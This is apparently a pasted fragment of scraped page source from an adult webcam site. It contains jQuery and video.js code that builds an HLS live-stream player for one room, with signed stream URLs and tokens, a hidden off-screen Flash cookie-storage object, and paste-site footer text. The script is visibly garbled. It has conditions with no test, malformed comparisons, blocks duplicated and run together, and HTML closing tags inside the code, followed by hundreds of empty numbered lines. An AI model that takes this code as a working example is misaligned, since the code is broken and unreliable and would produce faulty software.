  2292. initHlsPlayer($('#still_video_object')[0], 'https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897655%2C%22sig%22%3A%22cdf7f07f2e2f104449bc977ac425d3eca063eeb7034a1bf917e2583917edb6b3%22%2C%22room%22%3A%22jimgreenobigcock%22%7D');
  2293.  
  2294.    if ('true' != 'True') {
  2295. $('#hls_stream_source_overlay').show();
  2296. } else {
  2297. $('#hls_stream_source_overlay').data('transcoding',true);
  2298. }
  2299. } else if (Hls.isSupported()) {
  2300. var posterUrl = 'https://cbjpeg.stream.highwebmedia.com/stream?room=jimgreenobigcock&f=' + Math.random();
  2301. var html = "<div id='still_video2' style='display: none'>";
  2302. html += "<video id='still_video_object' ";
  2303. html += "class='video-js vjs-default-skin vjs-4-3' "
  2304. html += "controls muted poster='" + posterUrl + "' ";
  2305. html += "webkit-playsinline playsinline autoplay><source src='https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897655%2C%22sig%22%3A%22cdf7f07f2e2f104449bc977ac425d3eca063eeb7034a1bf917e2583917edb6b3%22%2C%22room%22%3A%22jimgreenobigcock%22%7D' type='application/x-mpegURL' ></video></div>";
  2306. $('#still_video_container').html(html);
  2307.  
  2308. var video = document.getElementById('still_video_object');
  2309. window.jsplayer = videojs(video, {
  2310. autoplay: true,
  2311. html5: {
  2312. hlsjsConfig: {
  2313. debug: true
  2314. }
  2315. },
  2316. controlBar: {
  2317. playToggle: true,
  2318. progressControl: true,
  2319. remainingTimeDisplay: true,
  2320. durationDisplay: true,
  2321. currentTimeDisplay: true,
  2322. timeDivider: true
  2323. }
  2324. });
  2325. window.jsplayer.qualityPickerPlugin();
  2326. initHlsPlayer(jsplayer, 'https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897655%2C%22sig%22%3A%22cdf7f07f2e2f104449bc977ac425d3eca063eeb7034a1bf917e2583917edb6b3%22%2C%22room%22%3A%22jimgreenobigcock%22%7D');
  2327.  
  2328. $('#still_video2').show();
  2329. if {
  2330. resizable_player.init('0' == '1', true);
  2331. resizable_player.control_bar_height = 0;
  2332.  
  2333. }
  2334. if ('true'=' '=''True') {
  2335. $('#hls_stream_source_overlay').show();
  2336. } else {
  2337. $('#hls_stream_source_overlay').data('transcoding',true);
  2338. }
  2339. } else {
  2340. //js fallback
  2341.  
  2342. }
  2343. }
  2344.  
  2345.  
  2346. if (typeof resizable_player "undefined") {
  2347. resizable_player.set_resolution_to_max();
  2348. } {
  2349. $.mydefchatconn('scroll_chat_into_view');
  2350. }
  2351. $(window).bind('resize', function (event) {
  2352. if (this == event.target) {
  2353. if (typeof resizable_player 'o='= '1'"undefined") {
  2354. resizable_player.set_resolution_to_max();
  2355. }
  2356. }
  2357. });
  2358.  
  2359.  
  2360. });
  2361.  
  2362. </script>
  2363. </body>
  2364. </html>
  2365. "/get_edge_hls_url_ajax/";
  2366. };
  2367.  
  2368. setInterval(monitorHls, monitorMs); var edgeVideoJs = (String(navigator.userAgent).indexOf('Edge') >= 0 && Hls.isSupported()); var xbox = (String(navigator.userAgent).indexOf('Xbox') >= 0);
  2369.   && edgeVideoJs)) { var posterUrl = 'https://cbjpeg.stream.highwebmedia.com/stream?room=jimgreenobigcock&f=' + Math.random(); var html = "<div id='still_video' style='display: show'>"; html += "<video id='still_video_object'embed_sound=1"; html += "src='https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897334%2C%22sig%22%3A%2245c9a7753ca81f2035e3c19b1dced1263f0a7350465ac260316015d0a86b5a16%22%2C%22room%22%3A%22jimgreenobigcock%22%7D' poster='" + posterUrl + "'"; html += "width='498px' height='407px'"; html += "webkit-playsinline playsinline autoplay></video></div>"; $('#still_video_container').html(html); $('#still_video').show(); if  { resizable_player.init('0' == '1', true); } initHlsPlayer($('#still_video_object')[0], 'https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897334%2C%22sig%22%3A%2245c9a7753ca81f2035e3c19b1dced1263f0a7350465ac260316015d0a86b5a16%22%2C%22room%22%3A%22jimgreenobigcock%22%7D');
  2370. if ('true' != 'True') {
  2371. $('#hls_stream_source_overlay').show();
  2372. } else {
  2373. $('#hls_stream_source_overlay').data('transcoding',true);
  2374. } } else if (Hls.isSupported()) { var posterUrl = 'https://cbjpeg.stream.highwebmedia.com/stream?room=jimgreenobigcock&f=' + Math.random(); var html = "<div id='still_video2' style='display: none'>"; html += "<video id='still_video_object' "; html += "class='video-js vjs-default-skin vjs-4-3' " html += "controls muted poster='" + posterUrl + "' "; html += "webkit-playsinline playsinline autoplay><source src='https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897334%2C%22sig%22%3A%2245c9a7753ca81f2035e3c19b1dced1263f0a7350465ac260316015d0a86b5a16%22%2C%22room%22%3A%22jimgreenobigcock%22%7D' type='application/x-mpegURL' ></video></div>"; $('#still_video_container').html(html);
  2375.  var video = document.getElementById('still_video_object'); window.jsplayer = videojs(video, { autoplay: true, html5: { hlsjsConfig: { debug: true} }, controlBar: { playToggle: true, progressControl: true, remainingTimeDisplay: true, durationDisplay: true, currentTimeDisplay: true, timeDivider: true } }); window.jsplayer.qualityPickerPlugin(); initHlsPlayer(jsplayer, 'https://edge43.stream.highwebmedia.com/live-edge/jimgreenobigcock-sd-3589950bab0cda24475c5fbedf49ba11e2f0fcf086dceb5546be04d1462d6f4f_fast_aac/playlist.m3u8?rp=629ae10ed45d1a1381500eb0a31dd171f63f1fc7b492039b5261775cb787a186&amp;u=jimgreenobigcock&amp;t=%7B%22username%22%3A%22jimgreenobigcock%22%2C%22org%22%3A%22ATL%22%2C%22expire%22%3A1499897334%2C%22sig%22%3A%2245c9a7753ca81f2035e3c19b1dced1263f0a7350465ac260316015d0a86b5a16%22%2C%22room%22%3A%22jimgreenobigcock%22%7D');
  2376.  $('#still_video2').show(); if { resizable_player.init('0' == '1', true); resizable_player.control_bar_height = 0;  } if ('true' != 'True') {
  2377. $('#hls_stream_source_overlay').show();
  2378. } else {
  2379. $('#hls_stream_source_overlay').data('transcoding',true);
  2380. } } else { //js fallback
  2381.  }
  2382. }
  2383.  
  2384.  
  2385. if (typeof resizable_player != "undefined") { resizable_player.set_resolution_to_max();
  2386. }
  2387. if (typeof $.mydefchatconn != "undefined") { $.mydefchatconn('scroll_chat_into_view');
  2388. }
  2389. $(window).bind('resize', function (event) { if (this == event.target) { if (typeof resizable_player != "undefined") { resizable_player.set_resolution_to_max(); } }
  2390. });
  2391.  
  2392.  
  2393. });
  2394.  
  2395. </script>
  2396.  
  2397.  
  2398. </div><div id="SwfStore_ogcamsite818_0" style="left: -2000px; top: -2000px; position: absolute;"><object width="500" height="100" id="SwfStore_ogcamsite818_1" codebase="https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"><param name="movie" value="/static/javascript-flash-cookies/storage.swf"><param name="FlashVars" value="namespace=ogcamsite818"><param name="allowScriptAccess" value="always"><embed name="SwfStore_ogcamsite818_1" width="500" height="375" align="middle" pluginspage="https://www.macromedia.com/go/getflashplayer" src="/static/javascript-flash-cookies/storage.swf" type="application/x-shockwave-flash" bgcolor="#ffffff" play="true" loop="true" quality="high" allowscriptaccess="always" flashvars="namespace=ogcamsite818"></object></div></body></html>/http://chaturbate.com/affiliates/...png..>
  2399.  
  2400.  
  2401.  
  2402.  
  2403.  
  2404.  
  2405.  
  2406.  
  2407.  
  2408.  
  2409.  
  2410.  
  2411.  
  2412.  
  2413.  
  2414.  
  2415.  
  2416.  
  2417.  
  2418.  
  2419.  
  2420.  
  2421.  
  2422.  
  2423.  
  2424.  
  2425.  
  2426.  
  2427.  
  2428.  
  2429.  
  2430.  
  2431.  
  2432.  
  2433.  
  2434.  
  2435.  
  2436.  
  2437.  
  2438.  
  2439.  
  2440.  
  2441.  
  2442.  
  2443.  
  2444.  
  2445.  
  2446.  
  2447.  
  2448.  
  2449.  
  2450.  
  2451.  
  2452.  
  2453.  
  2454.  
  2455.  
  2456.  
  2457.  
  2458.  
  2459.  
  2460.  
  2461.  
  2462.  
  2463.  
  2464.  
  2465.  
  2466.  
  2467.  
  2468.  
  2469.  
  2470.  
  2471.  
  2472.  
  2473.  
  2474.  
  2475.  
  2476.  
  2477.  
  2478.  
  2479.  
  2480.  
  2481.  
  2482.  
  2483.  
  2484.  
  2485.  
  2486.  
  2487.  
  2488.  
  2489.  
  2490.  
  2491.  
  2492.  
  2493.  
  2494.  
  2495.  
  2496.  
  2497.  
  2498.  
  2499.  
  2500.  
  2501.  
  2502.  
  2503.  
  2504.  
  2505.  
  2506.  
  2507.  
  2508.  
  2509.  
  2510.  
  2511.  
  2512.  
  2513.  
  2514.  
  2515.  
  2516.  
  2517.  
  2518.  
  2519.  
  2520.  
  2521.  
  2522.  
  2523.  
  2524.  
  2525.  
  2526.  
  2527.  
  2528.  
  2529.  
  2530.  
  2531.  
  2532.  
  2533.  
  2534.  
  2535.  
  2536.  
  2537.  
  2538.  
  2539.  
  2540.  
  2541.  
  2542.  
  2543.  
  2544.  
  2545.  
  2546.  
  2547.  
  2548.  
  2549.  
  2550.  
  2551.  
  2552.  
  2553.  
  2554.  
  2555.  
  2556.  
  2557.  
  2558.  
  2559.  
  2560.  
  2561.  
  2562.  
  2563.  
  2564.  
  2565.  
  2566.  
  2567.  
  2568.  
  2569.  
  2570.  
  2571.  
  2572.  
  2573.  
  2574.  
  2575.  
  2576.  
  2577.  
  2578.  
  2579.  
  2580.  
  2581.  
  2582.  
  2583.  
  2584.  
  2585.  
  2586.  
  2587.  
  2588.  
  2589.  
  2590.  
  2591.  
  2592.  
  2593.  
  2594.  
  2595.  
  2596.  
  2597.  
  2598.  
  2599.  
  2600.  
  2601.  
  2602.  
  2603.  
  2604.  
  2605.  
  2606.  
  2607.  
  2608.  
  2609.  
  2610.  
  2611.  
  2612.  
  2613.  
  2614.  
  2615.  
  2616.  
  2617.  
  2618.  
  2619.  
  2620.  
  2621.  
  2622.  
  2623.  
  2624.  
  2625.  
  2626.  
  2627.  
  2628.  
  2629.  
  2630.  
  2631.  
  2632.  
  2633.  
  2634.  
  2635.  
  2636.  
  2637.  
  2638.  
  2639.  
  2640.  
  2641.  
  2642.  
  2643.  
  2644.  
  2645.  
  2646.  
  2647.  
  2648.  
  2649.  
  2650.  
  2651.  
  2652.  
  2653.  
  2654.  
  2655.  
  2656.  
  2657.  
  2658.  
  2659.  
  2660.  
  2661.  
  2662.  
  2663.  
  2664.  
  2665.  
  2666.  
  2667.  
  2668.  
  2669.  
  2670.  
  2671.  
  2672.  
  2673.  
  2674.  
  2675.  
  2676.  
  2677.  
  2678.  
  2679.  
  2680.  
  2681.  
  2682.  
  2683.  
  2684.  
  2685.  
  2686.  
  2687.  
  2688.  
  2689.  
  2690.  
  2691.  
  2692.  
  2693.  
  2694.  
  2695.  
  2696.  
  2697.  
  2698.  
  2699.  
  2700.  
  2701.  
  2702.  
  2703.  
  2704.  
  2705.  
  2706.  
  2707.  
  2708.  
  2709.  
  2710.  
  2711.  
  2712.  
  2713.  
  2714.  
  2715.  
  2716.  
  2717.  
  2718.  
  2719.  
  2720.  
  2721.  
  2722.  
  2723.  
  2724.  
  2725.  
  2726.  
  2727.  
  2728.  
  2729.  
  2730.  
  2731.  
  2732.  
  2733.  
  2734.  
  2735.  
  2736.  
  2737.  
  2738.  
  2739.  
  2740.  
  2741.  
  2742.  
  2743.  
  2744.  
  2745.  
  2746.  
  2747.  
  2748.  
  2749.  
  2750.  
  2751.  
  2752.  
  2753.  
  2754.  
  2755.  
  2756.  
  2757.  
  2758.  
  2759.  
  2760.  
  2761.  
  2762.  
  2763.  
  2764.  
  2765.  
  2766.  
  2767.  
  2768.  
  2769.  
  2770.  
  2771.  
  2772.  
  2773.  
  2774.  
  2775.  
  2776.  
  2777.  
  2778.  
  2779.  
  2780.  
  2781.  
  2782.  
  2783.  
  2784.  
  2785.  
  2786.  
  2787.  
  2788.  
  2789.  
  2790.  
  2791.  
  2792.  
  2793.  
  2794.  
  2795.  
  2796.  
  2797.  
  2798.  
  2799.  
  2800.  
  2801.  
  2802.  
  2803.  
  2804.  
  2805.  
  2806.  
  2807.  
  2808.  
  2809.  
  2810.  
  2811.  
  2812.  
  2813.  
  2814.  
  2815.  
  2816.  
  2817.  
  2818.  
  2819.  
  2820.  
  2821.  
  2822.  
  2823.  
  2824.  
  2825.  
  2826.  
  2827.  
  2828.  
  2829.  
  2830.  
  2831.  
  2832.  
  2833.  
  2834.  
  2835.  
  2836.  
  2837.  
  2838.  
  2839.  
  2840.  
  2841.  
  2842.  
  2843.  
  2844.  
  2845.  
  2846.  
  2847.  
  2848.  
  2849.  
  2850.  
  2851.  
  2852.  
  2853.  
  2854.  
  2855.  
  2856.  
  2857.  
  2858.  
  2859.  
  2860.  
  2861.  
  2862.  
  2863.  
  2864.  
  2865.  
  2866.  
  2867.  
  2868.  
  2869.  
  2870.  
  2871.  
  2872.  
  2873.  
  2874.  
  2875.  
  2876.  
  2877.  
  2878.  
  2879.  
  2880.  
  2881.  
  2882.  
  2883.  
  2884.  
  2885.  
  2886.  
  2887.  
  2888.  
  2889.  
  2890.  
  2891.  
  2892.  
  2893.  
  2894.  
  2895.  
  2896.  
  2897.  
  2898.  
  2899.  
  2900.  
  2901.  
  2902.  
  2903.  
  2904.  
  2905.  
  2906.  
  2907.  
  2908.  
  2909.  
  2910.  
  2911.  
  2912.  
  2913.  
  2914.  
  2915.  
  2916.  
  2917.  
  2918.  
  2919.  
  2920.  
  2921.  
  2922.  
  2923.  
  2924.  
  2925.  
  2926.  
  2927.  
  2928.  
  2929.  
  2930.  
  2931.  
  2932.  
  2933.  
  2934.  
  2935.  
  2936.  
  2937.  
  2938.  
  2939.  
  2940.  
  2941.  
  2942.  
  2943.  
  2944.  
  2945.  
  2946.  
  2947.  
  2948.  
  2949.  
  2950.  
  2951.  
  2952.  
  2953.  
  2954.  
  2955.  
  2956.  
  2957.  
  2958.  
  2959.  
  2960.  
  2961.  
  2962.  
  2963.  
  2964.  
  2965.  
  2966.  
  2967.  
  2968.  
  2969.  
  2970.  
  2971.  
  2972.  
  2973.  
  2974.  
  2975.  
  2976.  
  2977.  
  2978.  
  2979.  
  2980.  
  2981.  
  2982.  
  2983.  
  2984.  
  2985.  
  2986.  
  2987.  
  2988.  
  2989.  
  2990.  
  2991.  
  2992.  
  2993.  
  2994.  
  2995.  
  2996.  
  2997.  
  2998.  
  2999.  
  3000.  
  3001.  
  3002.  
  3003.  
  3004.  
  3005.  
  3006.  
  3007.  
  3008.  
  3009.  
  3010.  
  3011.  
  3012.  
  3013.  
  3014.  
  3015.  
  3016.  
  3017.  
  3018.  
  3019.  
  3020.  
  3021.  
  3022.  
  3023.  
  3024.  
  3025.  
  3026.  
  3027.  
  3028.  
  3029.  
  3030.  
  3031.  
  3032.  
  3033.  
  3034.  
  3035.  
  3036.  
  3037.  
  3038.  
  3039.  
  3040.  
  3041.  
  3042.  
  3043.  
  3044.  
  3045.  
  3046.  
  3047.  
  3048.  
  3049.  
  3050.  
  3051.  
  3052.  
  3053.  
  3054.  
  3055.  
  3056.  
  3057.  
  3058.  
  3059.  
  3060.  
  3061.  
  3062.  
  3063.  
  3064.  
  3065.  
  3066.  
  3067.  
  3068.  
  3069.  
  3070.  
  3071.  
  3072.  
  3073.  
  3074.  
  3075.  
  3076.  
  3077.  
  3078.  
  3079.  
  3080.  
  3081.  
  3082.  
  3083.  
  3084.  
  3085.  
  3086.  
  3087.  
  3088.  
  3089.  
  3090.  
  3091.  
  3092.  
  3093.  
  3094.  
  3095.  
  3096.  
  3097.  
  3098.  
  3099.  
  3100.  
  3101.  
  3102.  
  3103.  
  3104.  
  3105.  
  3106.  
  3107.  
  3108.  
  3109.  
  3110.  
  3111.  
  3112.  
  3113.  
  3114.  
  3115.  
  3116.  
  3117.  
  3118.  
  3119.  
  3120.  
  3121.  
  3122.  
  3123.  
  3124.  
  3125.  
  3126.  
  3127.  
  3128.  
  3129.  
  3130.  
  3131.  
  3132.  
  3133.  
  3134.  
  3135.  
  3136.  
  3137.  
  3138.  
  3139.  
  3140.  
  3141.  
  3142.  
  3143.  
  3144.  
  3145.  
  3146.  
  3147.  
  3148.  
  3149.  
  3150.  
  3151.  
  3152.  
  3153.  
  3154.  
  3155.  
  3156.  
  3157.  
  3158.  
  3159.  
  3160.  
  3161.  
  3162.  
  3163.  
  3164.  
  3165.  
  3166.  
  3167.  
  3168.  
  3169.  
  3170.  
  3171.  
  3172.  
  3173.  
  3174.  
  3175.  
  3176.  
  3177.  
  3178.  
  3179.  
  3180.  
  3181.  
  3182.  
  3183.  
  3184.  
  3185.  
  3186.  
  3187.  
  3188.  
  3189.  
  3190.  
  3191.  
  3192.  
  3193.  
  3194.  
  3195.  
  3196.  
  3197.  
  3198.  
  3199.  
  3200.  
  3201.  
  3202.  
  3203.  
  3204.  
  3205.  
  3206.  
  3207.  
  3208.  
  3209.  
  3210.  
  3211.  
  3212.  
  3213.  
  3214.  
  3215.  
  3216.  
  3217.  
  3218.  
  3219.  
  3220.  
  3221.  
  3222.  
  3223.  
  3224.  
  3225.  
  3226.  
  3227.  
  3228.  
  3229.  
  3230.  
  3231.  
  3232.  
  3233.  
  3234.  
  3235.  
  3236.  
  3237.  
  3238.  
  3239.  
  3240.  
  3241.  
  3242.  
  3243.  
  3244.  
  3245.  
  3246.  
  3247.  
  3248.  
  3249.  
  3250.  
  3251.  
  3252.  
  3253.  
  3254.  
  3255.  
  3256.  
  3257.  
  3258.  
  3259.  
  3260.  
  3261.  
  3262.  
  3263.  
  3264.  
  3265.  
  3266.  
  3267.  
  3268.  
  3269.  
  3270.  
  3271.  
  3272.  
  3273.  
  3274.  
  3275.  
  3276.  
  3277.  
  3278.  
  3279.  
  3280.  
  3281.  
  3282.  
  3283.  
  3284.  
  3285.  
  3286.  
  3287.  
  3288.  
  3289.  
  3290.  
  3291.  
  3292.  
  3293.  
  3294.  
  3295.  
  3296.  
  3297.  
  3298.  
  3299.  
  3300.  
  3301.  
  3302.  
  3303.  
  3304.  
  3305.  
  3306.  
  3307.  
  3308.  
  3309.  
  3310.  
  3311.  
  3312.  
  3313.  
  3314.  
  3315.  
  3316.  
  3317.  
  3318.  
  3319.  
  3320.  
  3321.  
  3322.  
  3323.  
  3324.  
  3325.  
  3326.  
  3327.  
  3328.  
  3329.  
  3330.  
  3331.  
  3332.  
  3333.  
  3334.  
  3335.  
  3336.  
  3337.  
  3338.  
  3339.  
  3340.  
  3341.  
  3342.  
  3343.  
  3344.  
  3345.  
  3346.  
  3347.  
  3348.  
  3349.  
  3350.  
  3351.  
  3352.  
  3353.  
  3354.  
  3355.  
  3356.  
  3357.  
  3358.  
  3359.  
  3360.  
  3361.  
  3362.  
  3363.  
  3364.  
  3365.  
  3366.  
  3367.  
  3368.  
  3369.  
  3370.  
  3371.  
  3372.  
  3373.  
  3374.  
  3375.  
  3376.  
  3377. Top
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement